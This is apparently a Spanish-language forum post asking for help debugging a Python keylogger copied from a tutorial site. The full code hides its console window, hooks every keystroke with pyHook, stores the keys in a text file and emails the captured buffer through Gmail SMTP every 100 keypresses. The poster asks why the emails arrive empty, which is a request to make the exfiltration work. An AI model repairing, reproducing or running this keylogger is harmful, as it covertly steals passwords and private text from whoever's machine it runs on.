El problema viene cuando al alcanzar los caracteres establecidos para que se envíe el log a mi correo, llega un correo vacío, sin asunto, solo con la palabra "capturado"
Adjunto código:
Código
#!/usr/bin/env python # -*- coding: utf-8 -*- import win32console import win32gui import pythoncom,pyHook import time import smtplib import os import sys # www.pythondiario.com ######################################################## # CONFIGURAR VARIABLES ######################################################## win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) #crea el archivo .txt f=open("c:\output.txt","w+") f.close #Variable que cuenta las tecas presionadas count = 0 ######################################################## # FUNCIONES ######################################################## def send_email(message): try: # Datos fromaddr = 'correo@gmail.com' toaddrs = 'correo@gmail.com' username = 'correo@gmail.com' password = 'contraseña' # Enviando el correo server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, message) server.quit() except: pass def OnKeyboardEvent(event): global count count += 1 #presiona CTRL+E para salir if event.Ascii==5: sys.exit(0) if event.Ascii !=0 or 8: #abre output.txt f=open('c:\output.txt','r+') buffer=f.read() f.close() if len(buffer)==1: send_email("Arranco...") if count ==100: #Envia los ultimos 500 caracteres capturado = buffer[-100:].replace("\n"," ") send_email("capturado") count = 0 #abre output.txt escribe y suma nuevas pulsaciones f=open('c:\output.txt','w') keylogs=chr(event.Ascii) #si se presiona ENTER if event.Ascii==13: keylogs='\n' #si se preciona ESPACIO if event.Ascii==32: keylogs='' buffer+=keylogs f.write(buffer) f.close() # crea el objeto hook manager hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
Del código original de la web, he modificado 'elif' por 'if' pues de lo contrario ni me envía el mensaje, '(capturado)' por '("capturado")', y he reducido el envío de fichero a la pulsación de 100 caracteres. Bueno y he cambiado el correo y la contraseña por motivos evidentes. ¿Sabéis que está fallando? Mil gracias de antemano